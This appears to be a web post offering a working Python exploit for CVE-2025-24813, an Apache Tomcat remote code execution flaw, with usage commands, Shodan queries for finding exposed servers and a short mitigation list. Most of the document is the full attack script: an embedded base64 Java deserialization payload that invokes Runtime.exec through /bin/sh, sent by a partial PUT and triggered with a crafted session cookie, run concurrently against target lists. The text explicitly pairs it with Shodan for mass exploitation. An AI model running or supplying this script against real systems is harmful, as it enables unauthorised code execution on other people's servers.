CVE-2025-24813 is a critical vulnerability affecting Apache Tomcat, allowing attackers to remotely execute arbitrary code on vulnerable servers. The exploit works by abusing certain misconfigurations or flaws in how the server handles requests, particularly with the Content-Length and Content-Range headers.
How the Exploit Works:
- Payload Insertion: The script uses a base64-encoded payload, which seems to exploit improper validation in Tomcat’s handling of session files. The payload is inserted via an HTTP PUT request to a specific endpoint (/iSee857/session), potentially injecting a malicious session.
- Session Hijacking: The attacker sends a specially crafted GET request with a JSESSIONID cookie to access or manipulate server-side resources.
- Vulnerability Detection: The script checks if the server is vulnerable based on the response:
Status Code 409: Indicates a session collision or some handling error in the target Tomcat server.
Status Code 500: Indicates the server processed the injected payload, suggesting the server is vulnerable.
- Concurrency: The script uses multithreading to scan multiple servers concurrently, which is useful for targeting multiple IPs or ports in bulk.
Script Usage:
Single Target: You can check a specific target by running:
python3 Tomcat_CVE-2025-24813_RCE.py -u <target_ip>:<port>
Multiple Targets: For scanning multiple targets listed in a file:
python3 Tomcat_CVE-2025-24813_RCE.py -l targets.txt
The script will then output whether the target is vulnerable or not, with a detailed message using colored output for easier readability.
Using Shodan to Find Vulnerable Apache Tomcat Servers
Shodan is an excellent tool for finding servers running specific versions of software, including Apache Tomcat. Here’s how you can use Shodan to identify vulnerable servers:
- Shodan Query for Apache Tomcat: You can use the following query on Shodan to search for Tomcat servers:
http.title:"Apache Tomcat" "Server: Apache-Coyote" port:8080
This query filters for web servers running Apache Tomcat on the default port 8080. You can further refine the query by including specific versions:
http.title:"Apache Tomcat" "Server: Apache-Coyote" port:8080 "Apache Tomcat/9.0.31"
- Refining by Geo-location: You can narrow down the search to specific countries or regions using:
country:"US" http.title:"Apache Tomcat" "Server: Apache-Coyote" port:8080
- Exploiting Vulnerable Servers: Once you identify a list of vulnerable servers using Shodan, save them in a text file (e.g., targets.txt), then use the provided Python script to check if they are vulnerable to CVE-2025-24813:
python3 Tomcat_CVE-2025-24813_RCE.py -l targets.txt
By using Shodan and the Python exploit script together, you can automate the process of identifying and exploiting vulnerable Apache Tomcat servers.
Mitigations:
To protect against this type of exploit:
Update Tomcat: Ensure that your Tomcat installation is up to date, and any security patches are applied.
Restrict Access: Limit external access to sensitive paths and ports.
Secure Configurations: Disable unneeded services and restrict permissions for session management or custom applications running on Tomcat.
By staying updated and applying best practices, you can protect your server from such vulnerabilities.
Exploit code
Import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutor
COLOR = {
"RED": "\033[91m",
"GREEN": "\033[92m",
"YELLOW": "\033[93m",
"BLUE": "\033[94m",
"PURPLE": "\033[95m",
"CYAN": "\033[96m",
"RESET": "\033[0m"
}
BANNER = f"""
{COLOR['PURPLE']}
___ _ __ ___ | |_ ___ ___| |_
/ _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | || __/\__ \ |_
\___/| .__/ \___/ \__\___||___/\__|
|_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""
# Payload
PAYLOAD = base64.b64decode(
"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"
)
def print_vulnerable(target):
print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")
print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")
def check_target(target):
try:
host, port = target.split(":")
port = int(port)
except:
print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")
return
base_url = f"http://{host}:{port}"
put_url = f"{base_url}/iSee857/session"
try:
put_response = requests.put(
put_url,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data=PAYLOAD,
verify=False,
timeout=10
)
if put_response.status_code == 409:
get_response = requests.get(
base_url,
headers={"Cookie": "JSESSIONID=.iSee857"},
verify=False,
timeout=10
)
if get_response.status_code == 500:
print_vulnerable(target)
return True
print(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")
return False
except requests.exceptions.RequestException as e:
print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")
return False
except Exception as e:
print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")
return False
def main():
print(BANNER)
parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')
parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')
parser.add_argument('-l', '--list', help='包含多个目标的文件')
parser.add_argument('-t', '--threads', type=int, default=5,
help='并发线程数 (默认: 5)')
args = parser.parse_args()
targets = []
if args.url:
targets.append(args.url)
elif args.list:
try:
with open(args.list, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")
sys.exit(1)
else:
parser.print_help()
sys.exit(1)
print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")
with ThreadPoolExecutor(max_workers=args.threads) as executor:
results = executor.map(check_target, targets)
vulnerable_count = sum(1 for result in results if result)
print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")
if __name__ == "__main__":
main()